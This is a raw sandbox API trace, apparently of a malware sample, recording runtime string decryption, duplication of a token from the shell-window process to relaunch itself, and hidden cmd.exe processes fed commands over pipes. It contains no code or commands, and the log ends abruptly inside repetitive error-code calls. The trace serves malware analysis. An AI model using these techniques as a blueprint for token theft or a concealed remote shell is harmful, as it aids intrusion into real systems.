[0035.955] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x50) returned 0xab16b8 [0035.955] CryptImportKey (in: hProv=0x4c5018, pbData=0x20bf758*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20bf7c0 | out: phKey=0x20bf7c0*=0x4c5430) returned 1 [0035.955] CryptSetKeyParam (hKey=0x4c5430, dwParam=0x1, pbData=0x20bf7a8, dwFlags=0x0) returned 1 [0035.955] CryptDecrypt (in: hKey=0x4c5430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab16b8, pdwDataLen=0x20bf774 | out: pbData=0xab16b8, pdwDataLen=0x20bf774) returned 1 [0035.955] CryptDestroyKey (hKey=0x4c5430) returned 1 [0035.955] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75130000 [0035.955] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7515d620 [0035.956] Wow64DisableWow64FsRedirection (in: OldValue=0x20bf85c | out: OldValue=0x20bf85c*=0x0) returned 1 [0035.956] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab16b8 | out: hHeap=0xab0000) returned 1 [0035.956] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x75910000 [0035.956] GetProcAddress (hModule=0x75910000, lpProcName="CreateProcessWithTokenW") returned 0x7595531f [0035.956] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xab14a0, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 0x5f [0035.957] GetShellWindow () returned 0x1010c [0035.957] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x20bf864 | out: lpdwProcessId=0x20bf864) returned 0x764 [0035.958] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x760) returned 0x9c [0035.958] OpenProcessToken (in: ProcessHandle=0x9c, DesiredAccess=0x2000000, TokenHandle=0x20bf870 | out: TokenHandle=0x20bf870*=0xa0) returned 1 [0035.958] DuplicateTokenEx (in: hExistingToken=0xa0, dwDesiredAccess=0x2000000, lpTokenAttributes=0x20bf850, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0x20bf86c | out: phNewToken=0x20bf86c*=0xa4) returned 1 [0035.958] CreateProcessWithTokenW (in: hToken=0xa4, dwLogonFlags=0x0, lpApplicationName="C:\\Users\\kEecfMwgj\\Desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe", lpCommandLine=0x0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x20bf7fc*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x20bf840 | out: lpCommandLine=0x0, lpProcessInformation=0x20bf840*(hProcess=0xf0, hThread=0xf4, dwProcessId=0xed8, dwThreadId=0xedc)) returned 1 [0036.317] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x50) returned 0xab16b8 [0036.317] CryptImportKey (in: hProv=0x4c5018, pbData=0x20bf758*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20bf7c0 | out: phKey=0x20bf7c0*=0x4cbfe8) returned 1 [0036.317] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x20bf7a8, dwFlags=0x0) returned 1 [0036.317] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab16b8, pdwDataLen=0x20bf774 | out: pbData=0xab16b8, pdwDataLen=0x20bf774) returned 1 [0036.317] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0036.317] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75130000 [0036.317] GetProcAddress (hModule=0x75130000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x7515d638 [0036.317] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0036.318] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab16b8 | out: hHeap=0xab0000) returned 1 [0036.318] CloseHandle (hObject=0x9c) returned 1 [0036.318] CloseHandle (hObject=0xf0) returned 1 [0036.318] CloseHandle (hObject=0xf4) returned 1 [0036.318] CloseHandle (hObject=0xa0) returned 1 [0036.318] CloseHandle (hObject=0xa4) returned 1 [0036.319] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14a0 | out: hHeap=0xab0000) returned 1 Thread: id = 4 os_tid = 0xed0 Thread: id = 17 os_tid = 0xf1c [0041.178] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab1508 [0041.178] CryptImportKey (in: hProv=0x4c5018, pbData=0x252fcbc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x252fd24 | out: phKey=0x252fd24*=0x4cbfe8) returned 1 [0041.178] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x252fd0c, dwFlags=0x0) returned 1 [0041.178] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1508, pdwDataLen=0x252fcd8 | out: pbData=0xab1508, pdwDataLen=0x252fcd8) returned 1 [0041.178] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0041.178] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x14) returned 0xab1530 [0041.178] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x14) returned 0xab1698 [0041.178] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab16b8 [0041.178] CryptImportKey (in: hProv=0x4c5018, pbData=0x252fc94*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x252fcfc | out: phKey=0x252fcfc*=0x4cbfe8) returned 1 [0041.178] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x252fce4, dwFlags=0x0) returned 1 [0041.178] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab16b8, pdwDataLen=0x252fcb0 | out: pbData=0xab16b8, pdwDataLen=0x252fcb0) returned 1 [0041.178] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0041.179] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab16b8 | out: hHeap=0xab0000) returned 1 [0041.179] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0xab1530, nSize=0xa | out: lpDst="") returned 0x1c [0041.179] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1698 | out: hHeap=0xab0000) returned 1 [0041.179] RtlReAllocateHeap (Heap=0xab0000, Flags=0x0, Ptr=0xab1530, Size=0x26) returned 0xab1530 [0041.179] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x26) returned 0xab1698 [0041.179] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab16c8 [0041.179] CryptImportKey (in: hProv=0x4c5018, pbData=0x252fc90*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x252fcf8 | out: phKey=0x252fcf8*=0x4cbfe8) returned 1 [0041.179] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x252fce0, dwFlags=0x0) returned 1 [0041.179] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab16c8, pdwDataLen=0x252fcac | out: pbData=0xab16c8, pdwDataLen=0x252fcac) returned 1 [0041.179] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0041.179] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab16c8 | out: hHeap=0xab0000) returned 1 [0041.179] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0xab1530, nSize=0x13 | out: lpDst="") returned 0x1c [0041.180] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1698 | out: hHeap=0xab0000) returned 1 [0041.180] RtlReAllocateHeap (Heap=0xab0000, Flags=0x0, Ptr=0xab1530, Size=0x4a) returned 0xab1698 [0041.180] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x4a) returned 0xab16f0 [0041.180] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab4fa0 [0041.180] CryptImportKey (in: hProv=0x4c5018, pbData=0x252fc90*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x252fcf8 | out: phKey=0x252fcf8*=0x4cbfe8) returned 1 [0041.180] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x252fce0, dwFlags=0x0) returned 1 [0041.180] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab4fa0, pdwDataLen=0x252fcac | out: pbData=0xab4fa0, pdwDataLen=0x252fcac) returned 1 [0041.180] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0041.180] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab4fa0 | out: hHeap=0xab0000) returned 1 [0041.180] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0xab1698, nSize=0x25 | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0041.181] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab16f0 | out: hHeap=0xab0000) returned 1 [0041.181] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1508 | out: hHeap=0xab0000) returned 1 [0041.181] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x50) returned 0xab1508 [0041.181] CryptImportKey (in: hProv=0x4c5018, pbData=0x252fcb4*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x252fd1c | out: phKey=0x252fd1c*=0x4cbfe8) returned 1 [0041.181] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x252fd04, dwFlags=0x0) returned 1 [0041.181] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1508, pdwDataLen=0x252fcd0 | out: pbData=0xab1508, pdwDataLen=0x252fcd0) returned 1 [0041.181] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0041.181] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75130000 [0041.182] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7515d620 [0041.182] Wow64DisableWow64FsRedirection (in: OldValue=0x252fdd4 | out: OldValue=0x252fdd4*=0x0) returned 1 [0041.182] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1508 | out: hHeap=0xab0000) returned 1 [0041.182] CreatePipe (in: hReadPipe=0x252fde0, hWritePipe=0x252fde4, lpPipeAttributes=0x252fdbc, nSize=0x0 | out: hReadPipe=0x252fde0*=0xa4, hWritePipe=0x252fde4*=0xa0) returned 1 [0041.183] CreatePipe (in: hReadPipe=0x252fddc, hWritePipe=0x252fdd8, lpPipeAttributes=0x252fdbc, nSize=0x0 | out: hReadPipe=0x252fddc*=0xf4, hWritePipe=0x252fdd8*=0xf0) returned 1 [0041.183] SetHandleInformation (hObject=0xa0, dwMask=0x1, dwFlags=0x0) returned 1 [0041.183] SetHandleInformation (hObject=0xf4, dwMask=0x1, dwFlags=0x0) returned 1 [0041.183] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x252fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xa4, hStdOutput=0xf0, hStdError=0xf0), lpProcessInformation=0x252fdac | out: lpCommandLine=0x0, lpProcessInformation=0x252fdac*(hProcess=0x10c, hThread=0x110, dwProcessId=0xf2c, dwThreadId=0xf30)) returned 1 [0041.216] WriteFile (in: hFile=0xa0, lpBuffer=0xab1568*, nNumberOfBytesToWrite=0xbc, lpNumberOfBytesWritten=0x252fdc8, lpOverlapped=0x0 | out: lpBuffer=0xab1568*, lpNumberOfBytesWritten=0x252fdc8*=0xbc, lpOverlapped=0x0) returned 1 [0041.216] WaitForSingleObject (hHandle=0x10c, dwMilliseconds=0xffffffff) Thread: id = 18 os_tid = 0xf20 [0041.184] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab1508 [0041.184] CryptImportKey (in: hProv=0x4c5018, pbData=0x26bfbec*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x26bfc54 | out: phKey=0x26bfc54*=0x4cbfe8) returned 1 [0041.184] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x26bfc3c, dwFlags=0x0) returned 1 [0041.184] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1508, pdwDataLen=0x26bfc08 | out: pbData=0xab1508, pdwDataLen=0x26bfc08) returned 1 [0041.184] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0041.184] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x14) returned 0xab1530 [0041.184] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x14) returned 0xab16f0 [0041.184] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab1710 [0041.184] CryptImportKey (in: hProv=0x4c5018, pbData=0x26bfbc4*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x26bfc2c | out: phKey=0x26bfc2c*=0x4cbfe8) returned 1 [0041.184] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x26bfc14, dwFlags=0x0) returned 1 [0041.184] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1710, pdwDataLen=0x26bfbe0 | out: pbData=0xab1710, pdwDataLen=0x26bfbe0) returned 1 [0041.184] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0041.185] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1710 | out: hHeap=0xab0000) returned 1 [0041.185] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0xab1530, nSize=0xa | out: lpDst="") returned 0x1c [0041.185] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab16f0 | out: hHeap=0xab0000) returned 1 [0041.185] RtlReAllocateHeap (Heap=0xab0000, Flags=0x0, Ptr=0xab1530, Size=0x26) returned 0xab1530 [0041.185] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x26) returned 0xab16f0 [0041.185] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab1720 [0041.185] CryptImportKey (in: hProv=0x4c5018, pbData=0x26bfbc0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x26bfc28 | out: phKey=0x26bfc28*=0x4cbfe8) returned 1 [0041.185] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x26bfc10, dwFlags=0x0) returned 1 [0041.185] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1720, pdwDataLen=0x26bfbdc | out: pbData=0xab1720, pdwDataLen=0x26bfbdc) returned 1 [0041.185] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0041.186] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1720 | out: hHeap=0xab0000) returned 1 [0041.186] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0xab1530, nSize=0x13 | out: lpDst="") returned 0x1c [0041.186] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab16f0 | out: hHeap=0xab0000) returned 1 [0041.186] RtlReAllocateHeap (Heap=0xab0000, Flags=0x0, Ptr=0xab1530, Size=0x4a) returned 0xab16f0 [0041.186] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x4a) returned 0xab1748 [0041.186] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab4fa0 [0041.186] CryptImportKey (in: hProv=0x4c5018, pbData=0x26bfbc0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x26bfc28 | out: phKey=0x26bfc28*=0x4cbfe8) returned 1 [0041.186] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x26bfc10, dwFlags=0x0) returned 1 [0041.186] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab4fa0, pdwDataLen=0x26bfbdc | out: pbData=0xab4fa0, pdwDataLen=0x26bfbdc) returned 1 [0041.186] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0041.187] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab4fa0 | out: hHeap=0xab0000) returned 1 [0041.187] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0xab16f0, nSize=0x25 | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0041.187] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1748 | out: hHeap=0xab0000) returned 1 [0041.188] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1508 | out: hHeap=0xab0000) returned 1 [0041.188] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x50) returned 0xab1508 [0041.188] CryptImportKey (in: hProv=0x4c5018, pbData=0x26bfbe4*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x26bfc4c | out: phKey=0x26bfc4c*=0x4cbfe8) returned 1 [0041.188] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x26bfc34, dwFlags=0x0) returned 1 [0041.188] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1508, pdwDataLen=0x26bfc00 | out: pbData=0xab1508, pdwDataLen=0x26bfc00) returned 1 [0041.188] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0041.188] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75130000 [0041.188] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7515d620 [0041.188] Wow64DisableWow64FsRedirection (in: OldValue=0x26bfd04 | out: OldValue=0x26bfd04*=0x0) returned 1 [0041.188] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1508 | out: hHeap=0xab0000) returned 1 [0041.188] CreatePipe (in: hReadPipe=0x26bfd10, hWritePipe=0x26bfd14, lpPipeAttributes=0x26bfcec, nSize=0x0 | out: hReadPipe=0x26bfd10*=0x9c, hWritePipe=0x26bfd14*=0xf8) returned 1 [0041.189] CreatePipe (in: hReadPipe=0x26bfd0c, hWritePipe=0x26bfd08, lpPipeAttributes=0x26bfcec, nSize=0x0 | out: hReadPipe=0x26bfd0c*=0xfc, hWritePipe=0x26bfd08*=0x100) returned 1 [0041.189] SetHandleInformation (hObject=0xf8, dwMask=0x1, dwFlags=0x0) returned 1 [0041.189] SetHandleInformation (hObject=0xfc, dwMask=0x1, dwFlags=0x0) returned 1 [0041.189] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26bfc98*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x9c, hStdOutput=0x100, hStdError=0x100), lpProcessInformation=0x26bfcdc | out: lpCommandLine=0x0, lpProcessInformation=0x26bfcdc*(hProcess=0x108, hThread=0x104, dwProcessId=0xf24, dwThreadId=0xf28)) returned 1 [0041.212] WriteFile (in: hFile=0xf8, lpBuffer=0xab1630*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x26bfcf8, lpOverlapped=0x0 | out: lpBuffer=0xab1630*, lpNumberOfBytesWritten=0x26bfcf8*=0x5b, lpOverlapped=0x0) returned 1 [0041.212] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0xffffffff) returned 0x0 [0067.802] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x50) returned 0xab7158 [0067.802] CryptImportKey (in: hProv=0x4c5018, pbData=0x26bfbf4*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x26bfc5c | out: phKey=0x26bfc5c*=0x4d8860) returned 1 [0067.802] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x26bfc44, dwFlags=0x0) returned 1 [0067.802] CryptDecrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0x26bfc10 | out: pbData=0xab7158, pdwDataLen=0x26bfc10) returned 1 [0067.802] CryptDestroyKey (hKey=0x4d8860) returned 1 [0067.802] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75130000 [0067.802] GetProcAddress (hModule=0x75130000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x7515d638 [0067.802] Wow64RevertWow64FsRedirection (OlValue=0x26bfd04) returned 1 [0067.802] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0067.802] CloseHandle (hObject=0x108) returned 1 [0067.802] CloseHandle (hObject=0x104) returned 1 [0067.802] CloseHandle (hObject=0x9c) returned 1 [0067.803] CloseHandle (hObject=0xf8) returned 1 [0067.803] CloseHandle (hObject=0xfc) returned 1 [0067.803] CloseHandle (hObject=0x100) returned 1 [0067.803] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab16f0 | out: hHeap=0xab0000) returned 1 [0067.804] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1630 | out: hHeap=0xab0000) returned 1 Thread: id = 41 os_tid = 0xfc4 [0049.769] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x440) returned 0xab5120 [0049.769] CryptImportKey (in: hProv=0x4c5018, pbData=0x288f960*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288f9c8 | out: phKey=0x288f9c8*=0x4cbfe8) returned 1 [0049.769] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x288f9b0, dwFlags=0x0) returned 1 [0049.769] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab5120, pdwDataLen=0x288f97c | out: pbData=0xab5120, pdwDataLen=0x288f97c) returned 1 [0049.769] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.769] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x434) returned 0xab5568 [0049.769] GetLastError () returned 0x57 [0049.770] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x214) returned 0xab59a8 [0049.770] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75130000 [0049.770] GetCurrentThreadId () returned 0xfc4 [0049.770] SetLastError (dwErrCode=0x57) [0049.770] GetLastError () returned 0x57 [0049.770] SetLastError (dwErrCode=0x57) [0049.770] GetLastError () returned 0x57 [0049.771] SetLastError (dwErrCode=0x57) [0049.771] GetLastError () returned 0x57 [0049.771] SetLastError (dwErrCode=0x57) [0049.771] GetLastError () returned 0x57 [0049.771] SetLastError (dwErrCode=0x57) [0049.771] GetLastError () returned 0x57 [0049.771] SetLastError (dwErrCode=0x57) [0049.771] GetLastError () returned 0x57 [0049.771] SetLastError (dwErrCode=0x57) [0049.771] GetLastError () returned 0x57 [0049.771] SetLastError (dwErrCode=0x57) [0049.771] GetLastError () returned 0x57 [0049.771] SetLastError (dwErrCode=0x57) [0049.771] GetLastError () returned 0x57 [0049.771] SetLastError (dwErrCode=0x57) [0049.771] GetLastError () returned 0x57 [0049.771] SetLastError (dwErrCode=0x57) [0049.771] GetLastError () returned 0x57 [0049.771] SetLastError (dwErrCode=0x57) [0049.771] GetLastError () returned 0x57 [0049.771] SetLastError (dwErrCode=0x57) [0049.771] GetLastError () returned 0x57 [0049.771] SetLastError (dwErrCode=0x57) [0049.772] GetLastError () returned 0x57 [0049.772] SetLastError (dwErrCode=0x57) [0049.772] GetLastError () returned 0x57 [0049.772] SetLastError (dwErrCode=0x57) [0049.772] GetLastError () returned 0x57 [0049.772] SetLastError (dwErrCode=0x57) [0049.772] GetLastError () returned 0x57 [0049.772] SetLastError (dwErrCode=0x57) [0049.772] GetLastError () returned 0x57 [0049.772] SetLastError (dwErrCode=0x57) [0049.772] GetLastError () returned 0x57 [0049.772] SetLastError (dwErrCode=0x57) [0049.772] GetLastError () returned 0x57 [0049.772] SetLastError (dwErrCode=0x57) [0049.772] GetLastError () returned 0x57 [0049.772] SetLastError (dwErrCode=0x57) [0049.772] GetLastError () returned 0x57 [0049.772] SetLastError (dwErrCode=0x57) [0049.772] GetLastError () returned 0x57 [0049.772] SetLastError (dwErrCode=0x57) [0049.772] GetLastError () returned 0x57 [0049.772] SetLastError (dwErrCode=0x57) [0049.772] GetLastError () returned 0x57 [0049.773] SetLastError (dwErrCode=0x57) [0049.773] GetLastError () returned 0x57 [0049.773] SetLastError (dwErrCode=0x57) [0049.773] GetLastError () returned 0x57 [0049.773] SetLastError (dwErrCode=0x57) [0049.773] GetLastError () returned 0x57 [0049.773] SetLastError (dwErrCode=0x57) [0049.773] GetLastError () returned 0x57 [0049.773] SetLastError (dwErrCode=0x57) [0049.773] GetLastError () returned 0x57 [0049.773] SetLastError (dwErrCode=0x57) [0049.773] GetLastError () returned 0x57 [0049.773] SetLastError (dwErrCode=0x57) [0049.773] GetLastError () returned 0x57 [0049.773] SetLastError (dwErrCode=0x57) [0049.773] GetLastError () returned 0x57 [0049.773] SetLastError (dwErrCode=0x57) [0049.773] GetLastError () returned 0x57 [0049.773] SetLastError (dwErrCode=0x57) [0049.773] GetLastError () returned 0x57 [0049.773] SetLastError (dwErrCode=0x57) [0049.773] GetLastError () returned 0x57 [0049.774] SetLastError (dwErrCode=0x57) [0049.774] GetLastError () returned 0x57 [0049.774] SetLastError (dwErrCode=0x57) [0049.774] GetLastError () returned 0x57 [0049.774] SetLastError (dwErrCode=0x57) [0049.774] GetLastError () returned 0x57 [0049.774] SetLastError (dwErrCode=0x57) [0049.774] GetLastError () returned 0x57 [0049.774] SetLastError (dwErrCode=0x57) [0049.774] GetLastError () returned 0x57 [0049.774] SetLastError (dwErrCode=0x57) [0049.774] GetLastError () returned 0x57 [0049.774] SetLastError (dwErrCode=0x57) [0049.774] GetLastError () returned 0x57 [0049.774] SetLastError (dwErrCode=0x57) [0049.774] GetLastError () returned 0x57 [0049.774] SetLastError (dwErrCode=0x57) [0049.774] GetLastError () returned 0x57 [0049.774] SetLastError (dwErrCode=0x57) [0049.774] GetLastError () returned 0x57 [0049.774] SetLastError (dwErrCode=0x57) [0049.774] GetLastError () returned 0x57 [0049.774] SetLastError (dwErrCode=0x57) [0049.774] GetLastError () returned 0x57 [0049.775] SetLastError (dwErrCode=0x57) [0049.775] GetLastError () returned 0x57 [0049.775] SetLastError (dwErrCode=0x57) [0049.775] GetLastError () returned 0x57 [0049.775] SetLastError (dwErrCode=0x57) [0049.775] GetLastError () returned 0x57 [0049.775] SetLastError (dwErrCode=0x57) [0049.775] GetLastError () returned 0x57 [0049.775] SetLastError (dwErrCode=0x57) [0049.775] GetLastError () returned 0x57 [0049.775] SetLastError (dwErrCode=0x57) [0049.775] GetLastError () returned 0x57 [0049.775] SetLastError (dwErrCode=0x57) [0049.775] GetLastError () returned 0x57 [0049.775] SetLastError (dwErrCode=0x57) [0049.775] GetLastError () returned 0x57 [0049.775] SetLastError (dwErrCode=0x57) [0049.775] GetLastError () returned 0x57 [0049.775] SetLastError (dwErrCode=0x57) [0049.775] GetLastError () returned 0x57 [0049.775] SetLastError (dwErrCode=0x57) [0049.775] GetLastError () returned 0x57 [0049.775] SetLastError (dwErrCode=0x57) [0049.775] GetLastError () returned 0x57 [0049.776] SetLastError (dwErrCode=0x57) [0049.776] GetLastError () returned 0x57 [0049.776] SetLastError (dwErrCode=0x57) [0049.776] GetLastError () returned 0x57 [0049.776] SetLastError (dwErrCode=0x57) [0049.776] GetLastError () returned 0x57 [0049.776] SetLastError 